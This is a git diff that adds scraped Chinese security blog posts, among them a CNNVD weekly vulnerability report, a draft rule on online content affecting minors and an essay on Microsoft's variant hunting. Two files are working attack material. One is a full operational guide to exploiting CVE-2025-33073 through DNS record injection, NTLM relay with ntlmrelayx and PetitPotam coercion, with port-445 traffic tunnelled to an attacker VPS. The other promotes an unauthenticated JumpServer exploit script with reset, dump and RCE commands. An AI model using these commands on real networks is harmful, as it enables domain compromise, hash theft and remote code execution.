**【热点】哪些网络安全厂商接入了DeepSeek?** + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247540206&idx=2&sn=300737ad84f684e622fdde03da0fc1a7&scene=21#wechat_redirect) +- **【2025】常见的网络安全服务大全(汇总详解)** + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247540343&idx=1&sn=59d6f592f71a7f1e3a18fd082aa3de40&scene=21#wechat_redirect) +- **AI 安全 |《人工智能安全标准体系(V1.0)》(征求意见稿),附下载** + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247540206&idx=1&sn=1a3fcd3d2a009b5fcce8925c3fd2cf05&scene=21#wechat_redirect) +- **DeepSeek突遭大规模恶意攻击!** + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247540343&idx=2&sn=6290e00fa425bb40496ded191ccc9b50&scene=21#wechat_redirect) +- **【2024】年度最活跃的勒索软件组织TOP 10** + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247529131&idx=2&sn=5dc7475843df5f552e890639b8ac4a5a&scene=21#wechat_redirect) +- **我国71个机构受到勒索攻击** + + + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247538691&idx=1&sn=099af19793547ee49cf6ffbbd10ef813&scene=21#wechat_redirect) +- **超300万台未加密邮件服务器暴露,用户数据面临严重威胁!** + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247538586&idx=1&sn=62eb7e542fe6146971170cba08b9159a&scene=21#wechat_redirect) +- **电网黑客:通过无线电控制路灯和发电厂** + + +- **网络安全公司“内鬼”监守自盗 编写代码当黑客 窃取公民个人信息2.08亿条** + + +- **大众汽车集团欧洲发生严重数据泄漏,80万车主可被定位** + + +- **2025年 · 网络威胁趋势【预测】** + + +- **【实操】常见的安全事件及应急响应处** + + +- **2024 网络安全人才实战能力白皮书安全测试评估篇** + + + + + + + + diff --git a/doc/2025-06/信息安全漏洞周报(2025年第25期).md b/doc/2025-06/信息安全漏洞周报(2025年第25期).md new file mode 100644 index 00000000..8fb6feaa --- /dev/null +++ b/doc/2025-06/信息安全漏洞周报(2025年第25期).md @@ -0,0 +1,140 @@ +# 信息安全漏洞周报(2025年第25期) +原创 CNNVD CNNVD安全动态 2025-06-25 07:13 + + + + + +**点击蓝字 关注我们** + + + + +**漏洞情况** + +根据国家信息安全漏洞库(CNNVD)统计,本周(2025年6月16日至2025年6月22日)安全漏洞情况如下: + +**公开漏洞情况** + +本周CNNVD采集安全漏洞1051个。 + +**接报漏洞情况** + +本周CNNVD接报漏洞4569个,其中信息技术产品漏洞(通用型漏洞)317个,网络信息系统漏洞(事件型漏洞)10个,漏洞平台推送漏洞4242个。 + +## 一公开漏洞情况 + + +根据国家信息安全漏洞库(CNNVD)统计,本周新增安全漏洞1051个,漏洞新增数量有所上升。从厂商分布来看Linux基金会新增漏洞最多,有367个;从漏洞类型来看,注入类的安全漏洞占比最大,达到9.90%。新增漏洞中,超危漏洞60个,高危漏洞277个,中危漏洞673个,低危漏洞41个。 + +**** +(一) 安全漏洞增长数量情况 + + + +本周CNNVD采集安全漏洞1051个。 + + + +图1 近五周漏洞新增数量统计图 + +(二) 安全漏洞分布情况 + + + +从厂商分布来看,Linux基金会新增漏洞最多,有367个。各厂商漏洞数量分布如表1所示。 + +表1 新增安全漏洞排名前五厂商统计表 + + + +本周国内厂商漏洞80个,吉翁电子公司漏洞数量最多,有28个。国内厂商漏洞整体修复率为22.22%。请受影响用户关注厂商修复情况,及时下载补丁修复漏洞。 + +从漏洞类型来看,注入类的安全漏洞占比最大,达到9.90%。漏洞类型统计如表2所示。 + +表2 漏洞类型统计表 + + + +(三) 安全漏洞危害等级与修复情况 + + + +本周共发布超危漏洞60个,高危漏洞277个,中危漏洞673个,低危漏洞41个。相应修复率分别为66.67%、42.60%、86.03%和39.02%。根据补丁信息统计,合计753个漏洞已有修复补丁发布,整体修复率为71.65%。详细情况如表3所示。 + +表3 漏洞危害等级与修复情况 + + + +(四) 本周重要漏洞实例 + + + +本周重要漏洞实例如表4所示。 + +表4 本期重要漏洞实例 + + + + +**1. Dell PowerScaleOneFS 安全漏洞(CNNVD-202506-2666)****** + +Dell PowerScale OneFS是美国戴尔(Dell)公司的一个操作系统。提供横向扩展NAS的PowerScale OneFS操作系统。 + +Dell PowerScale OneFS 9.5.0.0版本至9.10.0.1版本存在安全漏洞,该漏洞源于缺少授权。攻击者利用该漏洞可以访问文件系统。 + +目前厂商已发布升级补丁以修复漏洞,参考链接: + +https://www.dell.com/support/kbdoc/en-us/000326339/dsa-2025-208-security-update-for-dell-powerscale-onefs-for-multiple-security-vulnerabilities + +**2. IBM Spectrum Protect Server 访问控制错误漏洞(CNNVD-202506-2677)****** + +IBM Spectrum Protect Server是美国国际商业机器(IBM)公司的一种频谱保护系统。为物理文件服务器、虚拟环境和广泛的应用程序提供全面的数据弹性。 + +IBM Spectrum Protect Server 8.1版本至8.1.26版本存在访问控制错误漏洞,该漏洞源于会话认证不当。攻击者利用该漏洞可以绕过认证访问未授权的资源。 + +目前厂商已发布升级补丁以修复漏洞,参考链接: + +https://www.ibm.com/support/pages/node/7236999 + +**3. WordPress plugin Ultra Addons for Contact Form 代码问题漏洞(CNNVD-202506-2525)****** + +WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 + +WordPress plugin Ultra Addons for Contact Form 7 3.5.12版本及之前版本存在代码问题漏洞,该漏洞源于save_options函数缺少文件类型验证。攻击者利用该漏洞可以上传任意文件。 + +目前厂商已发布升级补丁以修复漏洞,参考链接: + +https://wordpress.org/plugins/ultimate-addons-for-contact-form-7/ + +## 二漏洞平台推送情况 + + +本周CNNVD接收漏洞平台推送漏洞4242个。 + +表5 本周漏洞平台推送情况 + + + +## 三接报漏洞情况 + + +本周CNNVD接报漏洞327个,其中信息技术产品漏洞(通用型漏洞)317个,网络信息系统漏洞(事件型漏洞)10个。 + +表6 本周漏洞报送情况 + + + +## 四收录漏洞通报情况 + + +本周CNNVD收录漏洞通报110份。 + +表7 本周漏洞通报情况 + + + + + + + diff --git a/doc/2025-06/内网横行:大杀器之实战场景下的 CVE-2025-33073 全流程利用指南 附利用工具集.md b/doc/2025-06/内网横行:大杀器之实战场景下的 CVE-2025-33073 全流程利用指南 附利用工具集.md new file mode 100644 index 00000000..acc0859b --- /dev/null +++ b/doc/2025-06/内网横行:大杀器之实战场景下的 CVE-2025-33073 全流程利用指南 附利用工具集.md @@ -0,0 +1,289 @@ +# 内网横行:大杀器之实战场景下的 CVE-2025-33073 全流程利用指南 | 附利用工具集 +原创 薛定的饿猫 饿猫的小黑屋 2025-06-25 01:26 + +**前言** +**** + + +参考资料 + +在上一篇文章中,对 +CVE-2025-33073 + 的漏洞原理进行了比较深入的分析,同时在靶场环境中进行了漏洞复现。出于漏洞原理和红队行动规范的原因, CVE-2025-33073 在实际利用的过程中比靶场会更加麻烦一些。本文将基于实战利用的场景对 CVE-2025-33073 进行全流程的攻击梳理。 +1. 靶场复现中存在的 Windows 端口占用问题在实战中没有太大影响,因为不可避免的需要走隧道进行利用,那么外网的 VPS 机器直接选择 Linux 即可。如果确实有需要用到 Windows 进行利用的情况,按照章节 +0x04 + 中不出网的部分进行转发即可。为了帮助小白更好的理解,文章最后也会对其单独进行讲解。 + +1. 为了使流程更加清晰,文中按照步骤搭建不同的隧道,实战情况下可以使用 frp 等能转发 SMB 的工具进行转发,简化利用流程并减少文件上传的数量。 + +如果想深入了解此漏洞,建议阅读前文。 +> 内网横行:CVE-2025-33073漏洞分析与攻击复现 + +> 薛定的饿猫,公众号:饿猫的小黑屋[内网横行:CVE-2025-33073漏洞分析与攻击复现](http://mp.weixin.qq.com/s?__biz=Mzg4NDU4OTQ1NA==&mid=2247484712&idx=1&sn=02ff86815b2cb114cbfcea520ff2db51&chksm=cfb493c9f8c31adfec2590226974b21f93d10095abfd157d19e38dd2c460a04e7a8301931b90#rd) + + + +0x01 最简攻击流程梳理 + + +参考资料 + +先回顾一下正常攻击的流程,主要分为三个步骤: + +1. +向 DNS 服务器(域控)添加 DNS 记录。 + +``` +python dnstool.py -u luckytom.com\domainuser01 -p User01!@# -r badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.214.130(攻击机IP) --action modify 192.168.214.134(域控IP) +``` + + +2. +开启监听,用于接收目标服务器发起的认证请求并反射回给目标服务器 +。 + +``` +python ntlmrelayx.py -t 192.168.214.135(目标机IP) -smb2support +``` + + +3. +强制目标服务器向指定的主机发起 NTLM 认证 +。 + +``` +python PetitPotam.py -d luckytom.com -u domainuser01 -p User01!@# badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 192.168.214.135(目标机IP) +``` + + +具体的攻击逻辑是如何实现的呢? + +``` +1. 攻击者在域控上添加一条精心构造的 DNS 记录,将主机名 badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 指向攻击者IP2. 攻击者在内网跳板机(不必在域内,网络连通即可)上启动 SMB/LDAP 等协议的监听,接收到目标主机发起的 NTLM 认证请求后将其反射回目标主机3. 强制目标主机向 badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 发起 NTLM 认证3. 目标主机向域控查询 badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 的 A 记录,并解析到攻击者IP4. 目标主机向攻击者 IP 发起 NTLM 认证请求5. 攻击者将收到的认证请求反射回目标主机6. 目标主机触发漏洞进行本地身份验证7. 在本地身份验证握手中,攻击者监听到有 Token 的上下文句柄,并提取 Hash +``` + +0x02 实战中不是问题的问题 + + +参考资料 + +``` +1. Windows 445 端口占用2. 相关利用脚本均依赖impacket +``` + + +依赖 +impacket +是很常见的问题,一般走隧道解决即可,主要问题在于入口机器如果是 Windows 的话,则会存在因为系统默认的 SMB 服务导致的端口占用问题。 + +如果在 Windows 下直接开启监听,那么会遇到监听失败的情况,而如果通过 +--smb-port +监听指定端口,又会导致默认是跟 445 端口进行验证而无法正常获取到上下文句柄的问题。那么如何解决呢? + + + +原本想通过对 PetitPotam.py 进行改造以实现非默认端口的认证,但是受限于 +badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA + 的影响,最终没找到可以直接指定端口的方法,具体原因不与漏洞原理有关,可以参考上一篇文章,如果有师傅想继续研究可以跟我交流。 + +除此之外还能想到就是端口转发,关闭SMB服务等方法。关闭SMB服务对系 +统影响较大 +,也不符合红队行动规范,因此最终通过 +康哥(@浮尘云烟) +推荐的 +StreamDivert + 实现转发, +具体的利用 +将在后续讲到。 + +那么为什么说这是一个不是问题的问题呢?因为在实际利用当中我们大概率是会使用隧道来执行脚本的,那么我们的攻击机器完全可以使用 Linux 系统。 + +0x03 +完整攻击流程 + + +参考资料 + +搭建环境如下,并将入口机上线到攻击机的 CS: + +``` +已获得普通域用户:domainuser01 / User01!@#域控DC Windows server 2022:192.168.214.134域内目标主机 Windows server 2022:192.168.214.135 入口跳板主机 Windows server 2022 192.168.214.136 192.168.56.130 (模拟外网IP) 攻击机 Windows 11:192.168.56.131公网VPS Kali Linux:192.168.56.10 | 分配一个 192.168.214.137 模拟目标机器出网 +``` + + +一. 目标主机出网 + +在目标出网的情况下可以直接在 VPS 服务器上进行监听。 + +1. +开启 +socks + 代理并配置本地 +proxifier + 。 + +``` +iox.exe proxy -l 8080 +``` + + +2. +向域控 +添加 DNS 解析记录 +。因为 LDAP 使用 TCP 而 DNS 查询使用 UDP (DNS 服务器一般默认支持 TCP 查询),为了实现实战中不同工具场景下更好的兼容性 ,最好是将 UDP 封装到 TCP 中传输 , +dnstool.py + 已经集成了该功能,可以非常方便的直接使用。 + +``` +python dnstool.py -u luckytom.com\domainuser01 -p User01!@# -r badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.214.137 --action modify 192.168.214.134 --tcp# 这里必须加 --tcp 参数将 UDP 封装在 TCP中进行 DNS 查询 +``` + + + + +3. +开启 relay 监听,因为目标主机出网因此不必指定端口。 + +``` +python ntlmrelayx.py -t 192.168.214.135 --smb2support +``` + + + + +4. +强制目标主机发起 +NTLM 认证 +。 + +``` +python PetitPotam.py -d luckytom.com -u domainuser01 -p User01!@# badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 192.168.214.135 +``` + + + + +5. +监听主机接收到 Hash。 + + + +二. 目标主机不出网 + +搭建环境如下,并将入口机上线到攻击机的 CS: + +``` +已获得普通域用户:domainuser01 / User01!@#域控DC Windows server 2022:192.168.214.134域内目标主机 Windows server 2022:192.168.214.135入口跳板主机 Windows server 2022 192.168.214.136 192.168.56.130 (模拟外网IP) 攻击机 Windows 11:192.168.56.131公网VPS Kali Linux:192.168.56.10 +``` + + +这种情况需要在入口机器上搭建一层隧道来实现流量的转发。 + +1. +开启 +socks + 代理并配置本地 +proxifier + 。 + +``` +iox.exe proxy -l 8080 +``` + + +2. +向域控添加 +DNS 解析记录 +,此时需要将解析指向入口机器 IP +192.168.214.130 +。 + +``` +python dnstool.py -u luckytom.com\domainuser01 -p User01!@# -r badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.214.130 --action modify 192.168.214.134 --tcp# 这里必须加 --tcp 参数将 UDP 封装在 TCP中进行 DNS 查询 +``` + + + + +3 +. + +在 +VPS + 开启监听。如果是 Windows 主机,则使 +用 +--smb-port +指定 +一个端口。 + +注意这里需要使用 +proxychains + 来运行 +ntlmrelayx.py + ,因为 VPS 接收到目标机器的验证请求之后需要通过 +iox + 隧道将其反射回内网。具体原理可以参考上一篇文章。 +``` +proxychains python3 ntlmrelayx.py -t 192.168.214.135 -smb2support +``` + + + + +4. +在入口机搭建隧道,将本地 445 端口入站流量转发到远程 VPS 主机的监听端口。 + +StreamDivert + 配置文件如下: +``` +tcp < 445 0.0.0.0 -> 192.168.56.10 445 +``` +``` +5. 加载配置文件启动转发: +``` +``` +shell StreamDivert.exe config.txt +``` + + + +6. +强制目标主机发起 NTLM 认证。 +``` +python PetitPotam.py -d luckytom.com -u domainuser01 -p User01!@# badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 192.168.214.135 +``` + + + +7. +攻击完成。 + + + +0x04 +Windows 端口占用问题 + + +参考资料 + +跟前面差不多,就不赘述了。 + + + +参考链接 + +``` +https://mp.weixin.qq.com/s/NrGyltW-f8a3Zqr0-4oYnw +``` + + + +* + +后台回复“CVE-2025-33073”获得工具集下载地址 + + + + + + diff --git a/doc/2025-06/多部门联手!未成年人安全漏洞整治风暴征民意.md b/doc/2025-06/多部门联手!未成年人安全漏洞整治风暴征民意.md new file mode 100644 index 00000000..be8f5e8f --- /dev/null +++ b/doc/2025-06/多部门联手!未成年人安全漏洞整治风暴征民意.md @@ -0,0 +1,212 @@ +# 多部门联手!未成年人安全漏洞整治风暴征民意 + 易云安全应急响应中心 2025-06-25 07:57 + + + +点击上方蓝字 关注我们 + + + + + + +落实《未成年人网络保护条例》要求,为进一步强化未成年人网络保护,保障未成年人合法权益,国家网信办会同国家新闻出版、电影部门和国务院教育、电信、公安、文化和旅游、广播电视等部门,起草了《可能影响未成年人身心健康的网络信息分类办法(征求意见稿)》,现向社会公开征求意见。 + + 《未成年人网络保护条例》区分违法和不良信息,其中第 +22条明确了危害未成年人身心健康的信息的种类。《办法》作为配套文件,主要是细化《条例》第23条可能影响未成年人身心健康的信息的具体种类、范围、判断标准和提示办法,进一步健全完善未成年人网络保护制度,营造有利于未成年人身心健康的网络环境。 + + 公众可通过以下途径和方式提出反馈意见: + +1.通过电子邮件方式发送至:wcnrnrfl@cac.gov.cn。 + +2.通过信函方式将意见寄至:北京市西城区车公庄大街11号国家互联网信息办公室网络综合治理局,邮编:100044,并请在信封上注明“可能影响未成年人身心健康的网络信息分类办法征求意见”。 + + 意见反馈截止日期为 +2025年7月19日。 + + + +附件:可能影响未成年人身心健康的网络信息分类办法(征求意见稿) + +国家互联网信息办公室 + +2025年6月13日 + + + + + +可能影响未成年人身心健康的网络信息分类办法 + +(征求意见稿) + + 第一条 为了营造有利于未成年人身心健康的网络环境,进一步明确可能影响未成年人身心健康的网络信息的具体种类、范围、判断标准和提示办法,根据《中华人民共和国未成年人保护法》《中华人民共和国网络安全法》《中华人民共和国个人信息保护法》《未成年人网络保护条例》《互联网信息服务管理办法》《网络信息内容生态治理规定》等法律法规规定,制定本办法。 + + 第二条 本办法所称的可能影响未成年人身心健康的网络信息,是指除危害未成年人身心健康内容的违法信息外,通过互联网发布传播的其他可能引发或者诱导未成年人模仿不安全行为、实施违反社会公德行为、产生极端情绪、养成不良嗜好等的信息。 + +第三条 可能引发或者诱导未成年人模仿或实施不良行为的信息包括但不限于: + +(一)带有性暗示、性挑逗等易使人产生性联想的; + +(二)存在指责嘲讽、贬低歧视等涉网络暴力不良信息的; + +(三)煽动人群歧视、地域歧视、对立冲突等行为的; + +(四)可能引发愤怒、恐惧、抑郁等极端情绪的; + +(五)存在不安全驾驶等危险动作,诱导模仿高风险行为、进入危险区域等可能损害身体健康行为的; + +(六)使用网络黑话烂梗等不文明用语的; + +(七)宣扬未成年人抽烟(含电子烟)、饮酒、暴饮暴食、纹身等不良生活方式的; + +(八)宣扬代写代抄、抄袭作弊、逃学旷课、校园霸凌等违反校纪校规行为的; + +(九)诱导未成年人不良交友的; + +(十)诱导未成年人盲目追星、参与“饭圈”行为的; + +(十一)诱导未成年人参与网络主播、充值打赏、过度消费等博取关注或谋取利益行为的; + +(十二)其他可能引发或者诱导未成年人不良行为的。 + +第四条 可能对未成年人价值观造成负面影响的信息包括但不限于: + +(一)宣扬漠视生命、自我贬损等观念的; + +(二)宣扬扭曲的世界观、人生观、价值观的; + +(三)宣扬奢靡享乐、炫富拜金、消极颓废等不良价值观的; + +(四)宣扬畸形审美、崇尚审丑、低俗恶俗文化的; + +(五)宣扬荒诞离奇、危言耸听、运势命理等伪科学内容的; + +(六)宣扬未成年人早恋的; + +(七)宣扬“读书无用论”“唯分数论”“唯升学论”等观念的; + +(八)其他违反公序良俗和社会公德的不良价值导向内容。 + +第五条 不当使用未成年人形象的信息包括但不限于: + +(一)引导或教唆未成年人做出与年龄不符的不当言行的; + +(二)利用未成年人形象摆拍演绎含有不良价值观或不当言行的剧情内容的; + +(三)利用未成年人形象展示营销不适宜未成年人的产品服务的; + +(四)通过恶搞未成年人、利用未成年人打造争议人设等方式博取关注的; + +(五)借未成年人短视频长时间出镜积累人气、牟取利益,影响未成年人正常作息的; + +(六)对未成年人进行品行、道德方面的测试,放大不良现象和非理性情绪的; + +(七)歪曲或炒作涉未成年人违法犯罪行为的; + +(八)其他不当披露和使用未成年人形象的。 + +第六条 不当披露和使用未成年人个人信息包括但不限于: + +(一)未经监护人同意不当展示未成年人学习、生活等可能暴露未成年人隐私信息的; + +(二)诱导未成年人泄露个人或他人信息的; + +(三)其他不当披露和使用未成年人个人信息的。 + +第七条 诱导未成年人沉迷网络的信息包括但不限于: + +(一)教授未成年人规避防沉迷系统、未成年人模式的方法攻略的; + +(二)向未成年人提供或寻求陪玩陪聊、代练代打等服务的; + +(三)其他可能诱导未成年人沉迷网络的。 + +第八条 对于本《办法》所涉网络不良信息,网络信息内容生产者以及网络产品和服务提供者应当按照《网络信息内容生态治理规定》《网络暴力信息治理规定》等现有法律法规规定要求,采取防范和抵制措施,避免影响未成年人身心健康。对于其他可能影响未成年人身心健康的网络信息,制作、复制、发布、传播该信息的组织和个人应当按照《未成年人网络保护条例》要求,在信息展示前,在显著位置作出明显提示。 + +第九条 +网络产品和服务提供者应当为用户提供添加显著提示效果的标识功能,并引导和规范用户对相关信息作出提示。具体提示方式包括: + +(一)在文本的起始、末尾或中间适当位置添加文字提示或通用符号提示等标识,或在交互场景界面或文字周边添加显著的提示标识; + +(二)在音频的起始、末尾或中间适当位置添加语音提示或音频节奏提示等标识,或在交互场景界面添加显著的提示标识; + +(三)在图片的适当位置或在交互场景界面添加显著的提示标识; + +(四)在视频起始画面和视频播放周边的适当位置添加显著的提示标识,可在视频末尾和中间适当位置添加显著的提示标识,或在交互场景界面添加显著的提示标识; + +(五)符合其他服务场景特点的显著提示标识方式。 + +第十条 网络产品和服务提供者应当落实《未成年人网络保护条例》要求,不得在首页首屏、弹窗、热搜、榜单、推荐、精选等处于产品或者服务醒目位置、易引起用户关注的重点环节,呈现可能影响未成年人身心健康的网络信息。 + +提供算法推荐、生成式人工智能等服务的,应当建立健全安全管理制度和技术措施,防范和抵制传播可能影响未成年人身心健康的网络信息。 + +不得在专门以未成年人为服务对象的网络产品和服务中,呈现可能影响未成年人身心健康的网络信息。 + +素材来源:“网信中国”微信公众号 + + + + +END + + + + + + + +**淮安易云科技有限公司-网络安全部** + +我们致力于保障客户的网络安全,监控事件并采取适当措施,设计和实施安全策略,维护设备和软件,进行漏洞扫描和安全审计,团队协调处理网络攻击、数据泄露等安全事故,并负责安全服务项目实施,包括风险评估、渗透测试、安全扫描、安全加固、应急响应、攻防演练、安全培训等服务,确保客户在网络空间中的安全。 + +**易云安全应急响应中心** + +专业的信息安全团队,给你最安全的保障。定期推送 +漏洞预警、技术分享文章和网络安全知识,让各位了解学习安全知识,普及安全知识、提高安全意识。 + + + + + + + + + + + + + + +扫码获取更多精彩 + + +往期推荐 + + + +[无形战场全面开火:解码以伊网络战背后的算法攻防体系](https://mp.weixin.qq.com/s?__biz=MzkyNDcwMTAwNw==&mid=2247535298&idx=1&sn=242ae721cc541c8d166a184c8a7309db&scene=21#wechat_redirect) + + +[安利:Tomcat漏洞批量检测工具](https://mp.weixin.qq.com/s?__biz=MzkyNDcwMTAwNw==&mid=2247535298&idx=2&sn=ef61c442d5a8cbb8da9894162f54ec2e&scene=21#wechat_redirect) + + +[“清朗·整治AI技术滥用”专项行动第一阶段:清理违法违规信息96万余条](https://mp.weixin.qq.com/s?__biz=MzkyNDcwMTAwNw==&mid=2247535298&idx=3&sn=d816b530a9cb2430b12ba53dae542b83&scene=21#wechat_redirect) + + + + +分享 + + + +收藏 + + + +点赞 + + + +在看 + diff --git a/doc/2025-06/工具分享 一款JumpServer堡垒机未授权综合漏洞利用脚本(近期更新).md b/doc/2025-06/工具分享 一款JumpServer堡垒机未授权综合漏洞利用脚本(近期更新).md new file mode 100644 index 00000000..af7cf09e --- /dev/null +++ b/doc/2025-06/工具分享 一款JumpServer堡垒机未授权综合漏洞利用脚本(近期更新).md @@ -0,0 +1,73 @@ +# 工具分享 | 一款JumpServer堡垒机未授权综合漏洞利用脚本(近期更新) +tarihub 篝火信安 2025-06-25 07:50 + + + +简介 + +一款 +JumpServer 堡垒机 +未授权 +综合漏洞利用脚本,支持漏洞 +CVE-2023-42442 / CVE-2023-42820 / RCE 2021,实测能运行,但密码重置和命令执行漏洞利用时会触发报错。 + + +支持漏洞 +- 未授权任意用户密码重置 (CVE-2023-42820) + +- 未授权一键下载所有操作录像 (CVE-2023-42442) + +- 未授权任意命令执行漏洞 (RCE 2021) + +安装 + +python3 -m pip install -r requirements.txt + + +使用指南 + +python3 blackjump.py {reset,dump,rce} -h + + + +1、CVE-2023-42820 + +如果知道目标的用户名和邮箱可以指定 --user 和 --email 参数 + +python3 blackjump.py reset https://vulerability + + + +2、CVE-2023-42442 + +output/ 目录下的 .tar 文件扔进 jumpserver播放器播放即可 +> jumpserver播放器: +> https://github.com/jumpserver/VideoPlayer/releases + + +python3 blackjump.py dump https://vulerability + + + +3、RCE +> https://github.com/Veraxy00/Jumpserver-EXP (RCE 2021 漏洞在其基础上优化部分情况命令执行失败或获取不到资产问题) + + +python3 blackjump.py rce https://vulerability + + + + +## 免责声明 + +本工具仅面向合法授权的企业安全建设行为,在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标使用。 + +如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。 + + + +``` +``` + + + diff --git a/doc/2025-06/微软MSRC的漏洞情报“剽窃”策略.md b/doc/2025-06/微软MSRC的漏洞情报“剽窃”策略.md new file mode 100644 index 00000000..bdd5f1d4 --- /dev/null +++ b/doc/2025-06/微软MSRC的漏洞情报“剽窃”策略.md @@ -0,0 +1,37 @@ +# 微软MSRC的漏洞情报“剽窃”策略 +原创 rayh4c 先进攻防 2025-06-25 04:50 + +在信息安全的世界里,“原创”是发现零日漏洞(Zero-day)研究者的桂冠。然而,在微软安全响应中心(MSRC)的运作模式中,一种独特的、堪称“剽窃”的策略,正成为其提升Windows平台安全性的核心支柱。这里的“剽窃”并非贬义,而是一种战略隐喻:将外界顶尖安全研究员在Pwn2Own、天府杯等顶级赛事上提交的“原创思想”(漏洞报告)作为起点,进行系统性地复制、扩展和深化,直至将该思想的所有潜在变体都挖掘殆尽,最终产出远超原始报告的、体系化的安全成果。 + +这种策略的核心,是被称为“变体狩猎”(Variant Hunting)的运作模式。它标志着微软的安全理念已从传统的“打地鼠”式被动响应,进化为一种主动出击、由情报驱动的防御哲学。其根本意图,就是将每一份外部漏洞情报的价值压榨到极致,实现平台安全性的根本性提升。 +#### 超越“打补丁”:从一个点到一条线 + +传统的安全响应流程简单直接:收到漏洞报告,验证问题,开发补丁,发布更新。然而,这种模式的局限性在与全球顶尖攻击者的持续对抗中日益凸显。 + +Windows内核流式处理(Kernel Streaming)组件的历史便是绝佳证明。在该组件的一个漏洞在Pwn2Own上被发现并修复后,针对其攻击面的研究并未停止,反而呈爆炸式增长,甚至出现了活跃的在野利用(active in-the-wild exploitation)。这深刻地说明,攻击者们也在进行自己的“变体狩猎”,他们沿着最初发现的攻击面,能轻易地找到其他类似的弱点。 + +MSRC的策略正是基于这一洞察:每一个由外部研究员提交的、经过精心构造的漏洞,都不应仅仅被视为一个需要修复的“点”,而应被看作是暴露了系统某处设计缺陷或编码问题的“线头”。其战略任务,就是抓住这个线头,将整条脆弱的“线”——即所有相关的变体漏洞——全部抽出来,从根源上解决问题。 +#### “剽窃”的艺术:将失败案例转化为战略原则 + +MSRC的“剽窃”策略在处理Rasman服务漏洞时得到了淋漓尽致的体现。该服务在2021年的天府杯上出现过一个漏洞,两年后,攻击者利用了几乎完全相同的代码结构,只是滥用了其中一个不同的特定变量作为循环计数器,便再次实现了越界写入和权限提升。 + +这第二次攻击,既是警钟,也是催化剂。它证明了狭隘的“定点修复”只会留下技术债和安全隐患。于是,在处理后续漏洞时,MSRC采取了全新的模式,将过去的失败教训固化为战略原则。他们不再仅仅修复被报告的那个变量,而是对研究者的原创思想进行了一次彻底的“剽窃”和“扩写”。 + +MSRC的团队深入分析了整个代码结构体的每一个字段(如大小、对象数量等),审查了它在代码库中的每一次使用,并思考了每一种可能的滥用场景。这次深入挖掘的成果是惊人的:不仅发现了多个可导致类似问题的变体漏洞,还发现了一类全新的、与原始报告完全无关的漏洞模式——由于字符串未被正确进行空字符终止符检查(null-terminator check)而导致的信息泄露。最终,基于这一个外部提交,MSRC内部发现了多个需要修复的漏洞,并为此分配了多个CVE编号。这相当于一位外部研究员写出了一篇精彩的论文摘要,而MSRC则在此基础上,完成了一整本详尽的学术专著。 +#### 规模化“剽窃”:用自动化武器库武装战略意图 + +如果说分析单个结构体是精细的手工作业,那么要将这种策略贯彻到整个Windows操作系统,则必须依赖强大的自动化武器库。一个关于NT内核“双重获取”(Double Fetch)漏洞的狩猎过程,完美展示了MSRC如何规模化地执行其剽窃策略。 + +在Pwn2Own 2024上,一个针对NT内核的漏洞被提交。面对这个在“古老”组件中发现的“新”漏洞模式,MSRC的分析师首先凭借其专业知识和安全直觉,理解了漏洞的本质:用户模式下的攻击者可以在一个极小的时间窗口内,即在内核代码检查指针合法性之后、使用该指针进行数据复制等操作之前,恶意地修改指针的值,从而导致内核向攻击者控制的地址写入数据。 + +手动审计数百万行代码寻找类似的时序竞争漏洞无异于大海捞针。此时,CodeQL这类自动化代码分析工具成为了实现战略意图的关键。分析师的洞察被转化为精确的代码查询语句,这相当于将人类猎手的直觉,变成了一套可以高速、批量扫描代码的“漏洞模式探测器”。通过这种“人类智慧+机器执行力”的协同作战,MSRC成功地在庞大的代码库中发现了多个与原始报告高度相似的变体漏洞。例如,在一个构建双向链表的内核函数中,他们发现了同样的机会:攻击者可以在内核初始化链表指针和将其插入全局链表这两个操作之间修改指针,最终实现强大的“任意地址写”原语。 +#### “剽窃”的量化战果 + +这种策略的有效性并非空谈,而是有数据支撑的。在天府杯2023的两次Windows漏洞提交中,MSRC通过变体狩猎额外识别出了12个相关的变体漏洞。而在Pwn2Own 2024的6个Windows漏洞提交中,他们内部同样发现了5个与原始漏洞高度相似的变体。这些数字雄辩地证明,每一个顶级漏洞背后,往往都隐藏着一个亟待清理的“雷区”。 +#### 一种全新的安全响应信条 + +微软MSRC的漏洞情报“剽窃”策略,重新定义了安全响应的内涵。它不再是简单的敌来我挡、兵来将迎,而是主动学习、深入研究、全面清除。 + +这种“剽窃”的意图并非窃取荣誉,恰恰相反,它是对原创研究者智慧的最高致敬。因为它意味着MSRC足够重视这份情报,以至于愿意投入数倍的资源,确保其揭示的风险被彻底根除。通过这种方式,MSRC将全球最聪明的头脑“众包”为自己的外部智库,将每一个独立的智慧火花,都转化为提升整个平台韧性的熊熊烈火。这,就是在漏洞战争中,努力保持领先一步的秘密武器。 + + 